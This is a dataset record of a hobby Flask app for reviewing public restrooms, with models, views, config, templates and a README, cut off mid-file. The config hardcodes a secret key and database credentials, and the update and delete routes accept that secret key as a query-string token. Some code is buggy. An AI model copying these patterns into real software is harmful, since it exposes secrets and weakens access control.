repo_name
stringlengths
5
114
repo_url
stringlengths
24
133
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
directory_id
stringlengths
40
40
branch_name
stringclasses
209 values
visit_date
timestamp[ns]
revision_date
timestamp[ns]
committer_date
timestamp[ns]
github_id
int64
9.83k
683M
star_events_count
int64
0
22.6k
fork_events_count
int64
0
4.15k
gha_license_id
stringclasses
17 values
gha_created_at
timestamp[ns]
gha_updated_at
timestamp[ns]
gha_pushed_at
timestamp[ns]
gha_language
stringclasses
115 values
files
listlengths
1
13.2k
num_files
int64
1
13.2k
michaelnetbiz/latrinalist
https://github.com/michaelnetbiz/latrinalist
79b2ee6c37f33d7104b41514cc7bdae3a7c549a1
0faee72ac8b17cf42c8f406bd0563b31e8803beb
c682b8463a8e583587668a311f8faa50b5b40205
refs/heads/master
2015-08-23T03:37:18.341003
2015-08-16T20:50:55
2015-08-16T20:50:55
31,771,743
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.804347813129425, "alphanum_fraction": 0.804347813129425, "avg_line_length": 45, "blob_id": "b2dcd5c9a4c7ff436767da0df424a6e17af188a5", "content_id": "51c8e5244efe17e0f14c1ac71312505004b55ea6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 46, "license_type": "no_license", "max_line_length": 45, "num_lines": 1, "path": "/app/latrines/__init__.py", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "from app.latrines import forms, models, views\n" }, { "alpha_fraction": 0.6410256624221802, "alphanum_fraction": 0.7179487347602844, "avg_line_length": 25, "blob_id": "43adafba647705467ede387251035786edeb6d9a", "content_id": "47de329117209444324f3ca0fff08c9f41246de5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 234, "license_type": "no_license", "max_line_length": 40, "num_lines": 9, "path": "/app/security.py", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "from passlib.context import CryptContext\n\n#declare password hashing scheme\npwd_context = CryptContext(\n schemes=[\"pbkdf2_sha256\"],\n default=\"pbkdf2_sha256\",\n all__vary_rounds = 0.1,\n pbkdf2_sha256__default_rounds = 8000\n)\n" }, { "alpha_fraction": 0.8372092843055725, "alphanum_fraction": 0.8372092843055725, "avg_line_length": 42, "blob_id": "ca2319a0fb8345b6b8569cb4c22523a1d39557e6", "content_id": "35975ded0b9a69683b7da7ad2e3f4a97529f9251", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 43, "license_type": "no_license", "max_line_length": 42, "num_lines": 1, "path": "/test/README.md", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "#testing env for latrinalist.herokuapp.com\n" }, { "alpha_fraction": 0.6228527426719666, "alphanum_fraction": 0.6284500956535339, "avg_line_length": 41.46721267700195, "blob_id": "7677c85d9aa7157e36de56c5c0ee335c5c333ad9", "content_id": "ef5985fe7f7c0c0b1aea0ab2fb91e92498857805", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5181, "license_type": "no_license", "max_line_length": 139, "num_lines": 122, "path": "/app/latrines/views.py", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "from app import app, db\nfrom .models import latrine_tag_associated_table, Latrine, Review, Scrawl, Tag\nfrom .forms import LatrineCreationForm, ReviewCreationForm, ScrawlCreationForm\nfrom cloudinary.uploader import upload\nfrom cloudinary.utils import cloudinary_url\nfrom app.utils import (\n has_no_empty_params,\n enforce_parameter_types,\n jsonschema,\n my_parsedate\n)\nfrom flask import (\n abort,\n g,\n jsonify,\n make_response,\n redirect,\n render_template,\n request,\n url_for\n)\nfrom flask.ext.login import (\n current_user,\n login_user,\n LoginManager,\n login_required,\n logout_user\n)\nfrom sqlalchemy import desc, asc\n\[email protected](\"/latrines/\", methods=\"POST\")\[email protected](\"/latrines/new\", methods=['GET', 'POST'])\n@login_required\ndef create_latrine():\n form = LatrineCreationForm()\n #most likely the request will be method GET, w/o query parameters and will return Latrine creation form\n if request.method == 'GET':\n return render_template(\"latrines/create_latrine.html\", form=form)\n #validate and POST Latrine creation logic if method is not GET\n try:\n if form.validate_on_submit():\n upload_result = None\n thumbnail_url = None\n file = request.files[\"image\"]\n if file:\n upload_result = upload(file)\n thumbnail_url, options = cloudinary_url(upload_result[\"public_id\"], format = \"jpg\", width = 200, height = 100, radius = 20)\n latrine = Latrine(\n author = g.user.id,\n lat = request.form.get(\"lat\"),\n lng = request.form.get(\"lng\"),\n name = request.form.get(\"name\")\n )\n latrine.image_url = thumbnail_url\n latrine_tags = request.form.get(\"tags\").split(',')\n latrine_tags_list = []\n for latrine_tag in latrine_tags:\n previously_added_latrine_tag = db.session().query(Tag).filter_by(name=latrine_tag.strip().lower()).first()\n if previously_added_latrine_tag:\n latrine_tags_list.append(previously_added_latrine_tag)\n else:\n new_latrine_tag = Tag(\n name = latrine_tag.strip().lower()\n )\n latrine_tags_list.append(new_latrine_tag)\n db.session().add(new_latrine_tag)\n latrine.tags = latrine_tags_list\n db.session().add(latrine)\n db.session().commit()\n return redirect(url_for(\"read_latrine\", id=latrine.id))\n else:\n return render_template(\"latrines/create_latrine.html\", form=form, error=\"One or more values were invalid!\")\n except Exception as e:\n #alert on error\n return render_template(\"latrines/create_latrine.html\", form=form, error=e)\n else:\n abort(400)\n\[email protected](\"/latrines/\", methods=[\"GET\"])\[email protected](\"/latrines/explore\", methods=[\"GET\"])\n@enforce_parameter_types(author = str, lat = float, latrine_name = str, lng = float, limit = int, offset = int, order = str)\ndef explore_latrines(author = None, lat = None, latrine_name = None, lng = None, limit = 10, offset = 0, order = \"desc\"):\n latrines = db.session().query(Latrine).order_by(desc(Latrine.created_at)).all()\n return render_template(\"latrines/latrines.html\", latrines=latrines)\n\[email protected](\"/latrines/<string:id>\", methods=[\"GET\"])\ndef read_latrine(id=None):\n specified_latrine = db.session().query(Latrine).filter_by(id=id).first()\n if specified_latrine:\n return render_template(\"latrines/latrine.html\", latrine=specified_latrine)\n else:\n abort(404)\n\[email protected](\"/latrines/<string:latrine_id>\", methods=[\"PUT\"])\n@login_required\ndef update_latrine(latrine_id=None):\n specified_latrine = db.session().query(Latrine).filter_by(latrine_id=latrine_id).first()\n if specified_latrine and request.args.get(\"access_token\") == app.config[\"SECRET_KEY\"]:\n unicode_fields = [key for key in request.json.keys() if request.json.get(key).__class__ != dict]\n dict_fields = [key for key in request.json.keys() if request.json.get(key).__class__ == dict]\n for field in unicode_fields:\n specified_latrine.__setattr__(field, request.json.get(field))\n for field in dict_fields:\n more_unicode_fields = request.json.get(field)\n for i in more_unicode_fields.keys():\n specified_latrine.__setattr__(i, request.json.get(field).get(i))\n db.session().add(specified_latrine)\n db.session().commit()\n return make_response(jsonify({\"message\": \"latrine resource updated\"}), 204)\n else:\n abort(404)\n\[email protected](\"/latrines/<string:latrine_id>\", methods=[\"DELETE\"])\n@login_required\ndef delete_latrine(latrine_id=None):\n specified_latrine = db.session().query(Latrine).filter_by(latrine_id=latrine_id).first()\n if specified_latrine and request.args.get(\"access_token\") == app.config[\"SECRET_KEY\"]:\n db.session().delete(specified_latrine)\n db.session.commit()\n return make_response(jsonify({\"message\": \"latrine resource deleted\"}), 204)\n else:\n abort(404)\n" }, { "alpha_fraction": 0.6534526944160461, "alphanum_fraction": 0.6675191521644592, "avg_line_length": 26.928571701049805, "blob_id": "dd71155c98adb32f38cf67901439718aee6cdf22", "content_id": "1332bae052a03a7774261345b4a88d53d77ae90c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 782, "license_type": "no_license", "max_line_length": 89, "num_lines": 28, "path": "/config.py", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "import os\n\nclass Config(object):\n #keep it secret! keep it safe!\n SECRET_KEY = \"i am god\"\n try:\n API_VERSION = os.environ[\"API_VERSION\"]\n except KeyError:\n API_VERSION = 666\n #for building paths in the project\n BASE_DIR = os.path.dirname(os.path.dirname(__file__))\n DEBUG = False\n TESTING = False\n\nclass Dev_Config(Config):\n DEBUG = True\n try:\n SQLALCHEMY_DATABASE_URI = os.environ[\"DATABASE_URL\"]\n except KeyError:\n SQLALCHEMY_DATABASE_URI = \"postgres://michael:michael@localhost:5432/latrinalist\"\n\nclass Cant_Connect_To_Internet_Config(Config):\n SECRET_KEY = \"i am god\"\n DEBUG = True\n SQLALCHEMY_DATABASE_URI = \"postgres://michael:michael@localhost:5432/latrinalist\"\n\nclass Production_Config(Config):\n pass\n" }, { "alpha_fraction": 0.6121842265129089, "alphanum_fraction": 0.6181277632713318, "avg_line_length": 27.04166603088379, "blob_id": "fa86059807bbe6a6a627294c587cf48ed263bf6f", "content_id": "3de0b9cb0d80e26f2e20f70da85290f3a0fe521a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1346, "license_type": "no_license", "max_line_length": 80, "num_lines": 48, "path": "/app/users/models.py", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "import datetime\nfrom app import app, db\nfrom app.security import pwd_context\nfrom app.utils import generate_uri\n\nclass User(db.Model):\n __tablename__ = \"users\"\n created_at = db.Column(db.DateTime)\n email = db.Column(db.String(80), nullable=False)\n id = db.Column(db.String(16), primary_key=True)\n password_hash = db.Column(db.String(86), nullable=False)\n username = db.Column(db.String(40), nullable=False, index=True, unique=True)\n\n def set_password(self, password):\n self.password_hash = pwd_context.encrypt(password)\n\n def check_password(self, password):\n return pwd_context.verify(password, self.password_hash)\n\n def __init__(self, email, password, username):\n self.created_at = datetime.datetime.utcnow()\n self.email = email\n self.set_password(password)\n self.id = generate_uri()\n self.username = username\n\n def is_active(self):\n return True\n\n def is_anonymous(self):\n return False\n\n def is_authenticated(self):\n return True\n\n def get_id(self):\n return self.id\n\n def __repr__(self):\n return '<User %r>' % (self.username)\n\n def serialize(self):\n return {\n \"created_at\": self.created_at,\n \"email\": self.email,\n \"id\": self.id,\n \"username\": self.username\n }\n" }, { "alpha_fraction": 0.701812207698822, "alphanum_fraction": 0.7413508892059326, "avg_line_length": 21.481481552124023, "blob_id": "8a4e604a6791025a6d7c516551240a2fcd347aac", "content_id": "7b8f9cc581454097d9165ffebc0bb21536e3c69d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 607, "license_type": "no_license", "max_line_length": 51, "num_lines": 27, "path": "/app/handlers.py", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "from app import app\nfrom flask import (\n jsonify,\n make_response\n)\nfrom flask_jsonschema import ValidationError\n\n#declare error handlers\[email protected](400)\ndef bad_request(error):\n return make_response(\"bad request\", 400)\n\[email protected](401):\ndef unauthorized(error):\n return make_response(\"unauthorized\", 401)\n\[email protected](404)\ndef not_found(error):\n return make_response(\"resource not found\", 404)\n\[email protected](500)\ndef server_error(error):\n return make_response(\"server error\", 500)\n\[email protected](ValidationError)\ndef on_validation_error(e):\n return \"error\"\n" }, { "alpha_fraction": 0.6157407164573669, "alphanum_fraction": 0.6157407164573669, "avg_line_length": 37.117645263671875, "blob_id": "ce8f734e86a55776f1f266ce956169d76c4a0d3f", "content_id": "e0299c04607e754bbf61ce3f272aa0f7296be9ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 648, "license_type": "no_license", "max_line_length": 90, "num_lines": 17, "path": "/app/static/js/categorization.js", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "$(document).ready(function(){\n $(\"#categorization-field-group\").hide();\n $(\"#categorization-toggler\").click(function() {\n if ($(this).hasClass(\"fa-toggle-off\")) {\n $(this).removeClass(\"fa-toggle-off\");\n $(this).toggleClass(\"fa-toggle-on\");\n $(\"#categorization-toggler-label\").removeClass(\"label-text-representing-off-state\");\n $(\"#categorization-field-group\").show();\n }\n else {\n $(this).removeClass(\"fa-toggle-on\");\n $(this).toggleClass(\"fa-toggle-off\");\n $(\"#categorization-toggler-label\").addClass(\"label-text-representing-off-state\");\n $(\"#categorization-field-group\").hide();\n }\n });\n});\n" }, { "alpha_fraction": 0.5314685106277466, "alphanum_fraction": 0.5349650382995605, "avg_line_length": 22.83333396911621, "blob_id": "9e9199c89cf351e309228e8280382bac67705924", "content_id": "fec10ff5d5800db7c4547aaede189ac114b67061", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 286, "license_type": "no_license", "max_line_length": 52, "num_lines": 12, "path": "/app/static/js/thumbnail_dynamism.js", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "$(window).resize(function(){\n var images = $(\".img-responsive\")\n for (var i = 0; i < images.length; i ++) {\n if (images[i].width != images[i].naturalWidth) {\n $(\".latrines_thumbs_overview\").hide();\n }\n else {\n $(\".latrines_thumbs_overview\").show();\n }\n };\n\n});\n" }, { "alpha_fraction": 0.6782007217407227, "alphanum_fraction": 0.6796836256980896, "avg_line_length": 52.23684310913086, "blob_id": "e5b751863310bdfda54ed20b17400e3869b5c153", "content_id": "7c385e04660098e658606e51ebef7919c1fefcf8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2024, "license_type": "no_license", "max_line_length": 615, "num_lines": 38, "path": "/README.md", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "#Latrinalist (master)\n##\"Showcasing the sights, smells, and sounds of your neighborhood's restrooms\"\n[![Build Status](https://travis-ci.org/michaelnetbiz/latrinalist.svg?branch=master)](https://travis-ci.org/michaelnetbiz/latrinalist)\n\n\n | D\n | |\n | |\n \\___| _\n || _______ -( (-\n |_'(-------) '-'\n | /\n ___,-\\__..__|__\n\n#What????\nBorn out of my desire to learn back-end development. It's a pretty straightforward implementation of Python's Flask. Data are persisted in a postgresql db through Flask's SQLAlchemy extension.\n\n#Why?!?\nOn one level this project is about solving the bathroom-finding problem. I drink a lot of water so I am familiar with the problem of needing to ***go*** while out and about. It seems to me a good way to learn: building a simple application out of something that is kind of real, kind of a joke. So on another level this project is about learning the dynamics of a web app -- url routing, query parameters, data persistence, HTML templating, user mgmt, etc. -- by trying things out. That's why, if you were able to see the heroku dashboard, you'd see that I've deployed upwards of 200 (more or less) different slugs.\n\nSee the 'restful-api' branch for the objects and methods I constructed as a back-end for consumption by a front-end through cURL or AJAX or sth.\n\n###Normal interaction w/ Latrinalist\n\n###Programmatic interaction w/ Latrinalist\n||general|aspects|actions|\n|:--:|:--:|:--:|:--:|:--:|\n|latrines|create, categories, explore, founded, search|dislikes, courtesy_flushes, reviews, scrawls|dislike, courtesy_flush, set_role|\n|reviews|create|courtesy_flushes|courtesy_flush|\n|scrawls|create|courtesy_flushes|courtesy_flush|\n|users|requests, search|courtesy_flushes, friends, latrine_foundings, reviews, officiatings, stall_scrawlings|approve, deny, unfriend, update|\n\n######Proud part of the Michaelnet&copy; family\n ||\\\\$$$$//||\n ||\\\\\\$$///||\n ||MICHAEL/||\n ||NET/////||\n ||.BIZ////|©\n" }, { "alpha_fraction": 0.6621779799461365, "alphanum_fraction": 0.6826698184013367, "avg_line_length": 29.5, "blob_id": "cad9e1cc8245375f051df032fdb36c9b7577dd19", "content_id": "fc23dc38313ed3556ea8c4e3abc3e26aa7f284ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1708, "license_type": "no_license", "max_line_length": 128, "num_lines": 56, "path": "/app/views.py", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "import os\nfrom app import app, db\nfrom app.utils import (\n generate_uri,\n has_no_empty_params\n)\nfrom jinja2 import TemplateNotFound\nfrom flask import (\n Blueprint,\n jsonify,\n make_response,\n render_template,\n request,\n send_from_directory,\n url_for\n)\n\n#serve favicon\[email protected](\"/favicon.ico\")\ndef favicon():\n return send_from_directory(os.path.join(app.root_path, \"static\"), \"favicon.ico\", mimetype=\"image/vnd.microsoft.icon\")\n\[email protected](\"/\")\ndef index():\n categories = [\"super\", \"fancy\", \"creative\", \"tasty\"]\n return render_template(\"index.html\", categories=categories)\n\n#serve loader.io token\[email protected](\"/loaderio_token\")\ndef loaderio_token():\n return send_from_directory(os.path.join(app.root_path, \"scategoriestatic\"), \"loaderio-0f00655d6d1af64e857044f683964c3a.txt\")\n\n#serve loader.io test JSON\[email protected](\"/loaderio_test\")\ndef loaderio_test():\n return send_from_directory(os.path.join(app.root_path, \"static\"), \"loader_test_one.json\")\n\n# thanks http://stackoverflow.com/questions/13317536/get-a-list-of-all-routes-defined-in-the-app\[email protected](\"/map\")\ndef site_map():\n links = []\n for rule in app.url_map.iter_rules():\n # hide paths to which we cant nav in a browser or that require parameters\n if \"GET\" in rule.methods and has_no_empty_params(rule):\n url = url_for(rule.endpoint)\n links.append((url, rule.endpoint))\n links.sort()\n return render_template(\"site_map.html\", links=links)\n\n#route for testing query parameters\[email protected](\"/test\", methods=[\"GET\"])\ndef parameter_test():\n if request.args.keys():\n return make_response(jsonify({\"query\": request.args}), 200)\n else:\n return \"huh?\"\n" }, { "alpha_fraction": 0.71875, "alphanum_fraction": 0.71875, "avg_line_length": 20.33333396911621, "blob_id": "f0c26156791044d6250ffb453dbaa821892690a8", "content_id": "e851dcb1ad601452112322649066ae23741a3fad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 128, "license_type": "no_license", "max_line_length": 67, "num_lines": 6, "path": "/db.py", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "#!venv/bin/python\n\nfrom app import app, db\n\nprint \"connecting to: \" + app.config.get(\"SQLALCHEMY_DATABASE_URI\")\ndb.create_all()\n" }, { "alpha_fraction": 0.6519524455070496, "alphanum_fraction": 0.6658177971839905, "avg_line_length": 44.30769348144531, "blob_id": "3b7dc2390a320fb734a143790956ae3726c148ae", "content_id": "742089d60113a0be2193524646a993f68ff90107", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3534, "license_type": "no_license", "max_line_length": 139, "num_lines": 78, "path": "/app/latrines/models.py", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom sqlalchemy.orm import backref, relationship\nfrom app import app, db\nfrom app.utils import generate_uri\n\nlatrine_tag_associated_table = db.Table(\"latrine_tag_associations\",\n db.Column(\"associated_latrine_id\", db.String(16), db.ForeignKey(\"latrines.id\")),\n db.Column(\"associated_tag_id\", db.String(16), db.ForeignKey(\"tags.id\"))\n)\n\nclass Latrine(db.Model):\n __tablename__ = \"latrines\"\n created_at = db.Column(db.DateTime, nullable=False, default=datetime.utcnow())\n author = db.Column(db.String(16), db.ForeignKey(\"users.id\", onupdate=\"CASCADE\", ondelete=\"CASCADE\"), nullable=False, index=True)\n id = db.Column(db.String(16), primary_key=True)\n image_url = db.Column(db.String(255))\n lat = db.Column(db.Float, nullable=False)\n lng = db.Column(db.Float, nullable=False)\n name = db.Column(db.String(140), nullable=False)\n tags = db.relationship(\"Tag\", secondary=latrine_tag_associated_table, backref=\"latrines\")\n\n def __init__(self, author, lat, lng, name):\n self.author = author\n self.created_at = datetime.utcnow()\n self.id = generate_uri()\n self.image_url = None\n self.lat = lat\n self.lng = lng\n self.name = name\n\nclass Review(db.Model):\n __tablename__ = \"reviews\"\n author = db.Column(db.String(16), db.ForeignKey(\"users.id\", onupdate=\"CASCADE\", ondelete=\"CASCADE\"), nullable=False, index=True)\n content = db.Column(db.String(255), nullable=False)\n created_at = db.Column(db.DateTime, nullable=False, default=datetime.utcnow())\n id = db.Column(db.String(16), primary_key=True)\n image_url = db.Column(db.String(255))\n latrine = db.relationship(\"Latrine\", backref=db.backref(\"reviews\", order_by=lambda: Review.created_at))\n latrine_id = db.Column(db.String(16), db.ForeignKey(\"latrines.id\", onupdate=\"CASCADE\", ondelete=\"CASCADE\"), nullable=False, index=True)\n title = db.Column(db.String(140), nullable=False)\n\n def __init__(self, author, content, title):\n self.author = author\n self.content = content\n self.created_at = datetime.utcnow()\n self.id = generate_uri()\n self.image_url = None\n self.title = title\n\nclass Scrawl(db.Model):\n __tablename__ = \"scrawls\"\n author = db.Column(db.String(16), db.ForeignKey(\"users.id\", onupdate=\"CASCADE\", ondelete=\"CASCADE\"), nullable=False, index=True)\n content = db.Column(db.String(255), nullable=False)\n created_at = db.Column(db.DateTime, nullable=False, default=datetime.utcnow())\n id = db.Column(db.String(16), primary_key=True)\n image_url = db.Column(db.String(255))\n latrine = db.relationship(\"Latrine\", backref=db.backref(\"scrawls\", order_by=lambda: Scrawl.created_at))\n latrine_id = db.Column(db.String(16), db.ForeignKey(\"latrines.id\", onupdate=\"CASCADE\", ondelete=\"CASCADE\"), nullable=False, index=True)\n title = db.Column(db.String(140), nullable=False)\n\n def __init__(self, author, content, title):\n self.author = author\n self.content = content\n self.created_at = datetime.utcnow()\n self.id = generate_uri()\n self.image_url = None\n self.title = title\n\nclass Tag(db.Model):\n __tablename__ = \"tags\"\n created_at = db.Column(db.DateTime, nullable=False, default=datetime.utcnow())\n id = db.Column(db.String(16), primary_key=True)\n name = db.Column(db.String(140), nullable=False)\n\n def __init__(self, name):\n self.created_at = datetime.utcnow()\n self.id = generate_uri()\n self.name = name\n" }, { "alpha_fraction": 0.5812949538230896, "alphanum_fraction": 0.5899280309677124, "avg_line_length": 39.882354736328125, "blob_id": "f6a7455c8d9369484464a914fe9ab02375578d1c", "content_id": "f957f5a46a0dd6315826719b4ee7067a4557b8b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 695, "license_type": "no_license", "max_line_length": 123, "num_lines": 17, "path": "/app/templates/latrines/latrine.html", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "{% extends \"layout.html\" %}\n\n{% block body %}\n<div class=\"latrine_focus_container\">\n <h1>{{ latrine.name }}, by {{ latrine.author }}</h1>\n <div id=\"latrine_details\">\n {% for tag in latrine.tags %}\n <h3>{{ tag.name }}</h3>\n {% endfor %}\n </div>\n <img src=\"{{ latrine.image_url }}\" alt=\"{{ latrine.name }}\" class=\"latrine_focus_image img-responsive\">\n <div id=\"navigation_row\" class=\"row\">\n <a href=\"/latrines/{{ latrine.id }}/reviews\"><i class=\"fa fa-3x fa-pencil-square-o latrine_focus_navigators\"></i></a>\n <a href=\"/latrines/{{ latrine.id }}/scrawls\"><i class=\"fa fa-3x fa-paint-brush latrine_focus_navigators\"></i></a>\n </div>\n</div>\n{% endblock %}\n" }, { "alpha_fraction": 0.5855774879455566, "alphanum_fraction": 0.593357264995575, "avg_line_length": 32.41999816894531, "blob_id": "b4b9a97422413b713a1ee4d3d5a83557e2a822f7", "content_id": "145af26cf67a1a3e388d30dcc54f1df24556bc14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3342, "license_type": "no_license", "max_line_length": 97, "num_lines": 100, "path": "/app/utils.py", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "from app import app\nimport random\nfrom flask import request, session, redirect, make_response, jsonify, current_app\nfrom flask_jsonschema import JsonSchema\nimport email.utils as eut\nfrom datetime import datetime\nfrom datetime import timedelta\nimport inspect, functools\nfrom functools import wraps, update_wrapper\nfrom wtforms.fields import (\n TextField\n)\n\ndef my_parsedate(text):\n return datetime.datetime(*eut.parsedate(text)[:6])\n\njsonschema = JsonSchema(app)\n\ndef generate_uri():\n id = ''.join(random.choice('0123456789abcdef') for i in range(16))\n return id\n\ndef has_no_empty_params(rule):\n defaults = rule.defaults if rule.defaults is not None else ()\n arguments = rule.arguments if rule.arguments is not None else ()\n return len(defaults) >= len(arguments)\n\ndef requires_auth(f):\n @wraps(f)\n def decorated(*args, **kwargs):\n if not session.has_key(\"profile\"):\n # redirect to login page\n return redirect(\"/index\")\n return f(*args, **kwargs)\n\n return decorated\n\n#adapted from http://www.gtsystem.eu/blog/2011/11/bottle-decorator-for-validate-query-parameters/\ndef enforce_parameter_types(**types):\n def outer(func):\n farg, _, _, def_params = inspect.getargspec(func)\n if def_params is None: def_params = []\n farg = farg[:len(farg) - len(def_params)]\n\n param_info = [(par, ptype, par in farg) for par, ptype in types.iteritems()]\n @functools.wraps(func)\n def inner(*args, **kwargs):\n for par, ptype, required in param_info:\n value = request.args.get(par)\n if not value:\n if required:\n error = \"%s() requires the parameter %s\" % (inner.__name__, par)\n return make_response(jsonify({\"message\": error}), 400)\n continue\n try:\n kwargs[par] = ptype(value)\n except:\n error = \"Cannot convert parameter %s to %s\" % (par, ptype.__name__)\n return make_response(jsonify({\"message\": error}), 400)\n\n return func(*args, **kwargs)\n\n return inner\n return outer\n\nclass CategoryField(TextField):\n\n def default(self):\n return []\n\n def _value(self):\n # Generate the text that will be presented in the form field.\n if self.data:\n return u', '.join(x.strip() for x in self.data)\n else:\n return u''\n\n def process_data(self, topics):\n # When initied with an object, get a list of topic names.\n self.data = []\n if topics:\n self.data = [topic.name for topic in topics if topic.name.strip()]\n\n def process_formdata(self, valuelist):\n # When inited with form data, parse a list of names.\n self.data = []\n if valuelist:\n self.data = [x.strip() for x in valuelist[0].split(',') if x.strip()]\n\n def populate_obj(self, obj, name, model):\n # We need to set things into the list, not replace the list.\n model = model\n topics = getattr(obj, name)\n topics[:] = []\n\n for name in self.data:\n topic = db.session.query(model).filter(model.name == name).first()\n if not topic:\n topic = model(name=name)\n topics.append(topic)\n" }, { "alpha_fraction": 0.8055555820465088, "alphanum_fraction": 0.8055555820465088, "avg_line_length": 35, "blob_id": "49ed889920905870442f037a94eb0eb1a558e51d", "content_id": "ac1bd216502c85e65c8d651899eeb4fd3c187b45", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 36, "license_type": "no_license", "max_line_length": 35, "num_lines": 1, "path": "/app/users/__init__.py", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "from app.users import models, views\n" }, { "alpha_fraction": 0.761168360710144, "alphanum_fraction": 0.761168360710144, "avg_line_length": 23.25, "blob_id": "276713e7fc1e71ce208b8f4c3f2a819c1371ab3d", "content_id": "56a2ecec173308affc33e02f8c7598822c784e13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 582, "license_type": "no_license", "max_line_length": 76, "num_lines": 24, "path": "/app/__init__.py", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "import os\nimport logging\nfrom flask import (\n Flask\n)\nfrom flask.ext.cors import CORS\nfrom flask.ext.sqlalchemy import SQLAlchemy\nfrom logging import StreamHandler\n\napp = Flask(__name__)\napp.config.from_object('config.Dev_Config')\napp.config[\"JSONSCHEMA_DIR\"] = os.path.join(app.root_path, \"static/schemas\")\n\ndb = SQLAlchemy(app)\n#cors = CORS(app)\n\n# log to stderr\nfile_handler = StreamHandler()\napp.logger.setLevel(logging.DEBUG) # set the desired logging level here\napp.logger.addHandler(file_handler)\n\nfrom app import views\nfrom app.latrines import *\nfrom app.users import *\n" }, { "alpha_fraction": 0.5166375041007996, "alphanum_fraction": 0.7040280103683472, "avg_line_length": 15.79411792755127, "blob_id": "ad3cffd4836643e88cff51e2c43059f51a4e6f65", "content_id": "30b10f885fd41f9c6ed41253dbda161431ca2e23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 571, "license_type": "no_license", "max_line_length": 23, "num_lines": 34, "path": "/requirements.txt", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "attrs==15.0.0\nclick==4.0\ncloudinary==1.1.3\nfacebook-sdk==0.4.0\nfilepicker==0.2.2\nFlask==0.10.1\nFlask-Cors==2.0.1\nFlask-JsonSchema==0.1.1\nFlask-Login==0.2.9\nFlask-SQLAlchemy==2.0\nFlask-Stormpath==0.4.1\nFlask-WTF==0.11\ngunicorn==19.3.0\nhttplib2==0.9.1\nipython==3.1.0\nitsdangerous==0.24\nJinja2==2.7.3\njsonschema==2.4.0\nmarkdown2==2.3.0\nMarkupSafe==0.23\noauth2client==1.2\noauthlib==0.7.2\npasslib==1.6.2\npsycopg2==2.6\nPyJWT==1.3.0\nPyYAML==3.11\nramlfications==0.1.2\nrequests==2.7.0\nsix==1.9.0\nSQLAlchemy==1.0.4\ntermcolor==1.1.0\nWerkzeug==0.10.4\nWTForms==2.0.2\nxmltodict==0.9.2\n" }, { "alpha_fraction": 0.7245392799377441, "alphanum_fraction": 0.7255092263221741, "avg_line_length": 34.55172348022461, "blob_id": "21e706b306d08ed5b074cc27be57e85c06f41e9a", "content_id": "8be0c14d4d50ea4da21ff6be63813a15d46130a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1031, "license_type": "no_license", "max_line_length": 67, "num_lines": 29, "path": "/app/latrines/forms.py", "repo_name": "michaelnetbiz/latrinalist", "src_encoding": "UTF-8", "text": "from flask.ext.wtf import Form\nfrom app.utils import CategoryField\nfrom wtforms.fields import (\n DecimalField,\n FileField,\n SelectField,\n StringField,\n TextField,\n TextAreaField\n)\nfrom wtforms.fields.html5 import URLField\nfrom wtforms.validators import DataRequired\n\nclass LatrineCreationForm(Form):\n image = FileField(\"image\", validators=[DataRequired()])\n lat = DecimalField(\"lat\", validators=[DataRequired()])\n lng = DecimalField(\"lng\", validators=[DataRequired()])\n name = TextField(\"name\", validators=[DataRequired()])\n tags = CategoryField()\n\nclass ReviewCreationForm(Form):\n content = TextAreaField(\"content\", validators=[DataRequired()])\n image = FileField(\"image\", validators=[DataRequired()])\n title = TextAreaField(\"title\", validators=[DataRequired()])\n\nclass ScrawlCreationForm(Form):\n content = TextAreaField(\"content\", 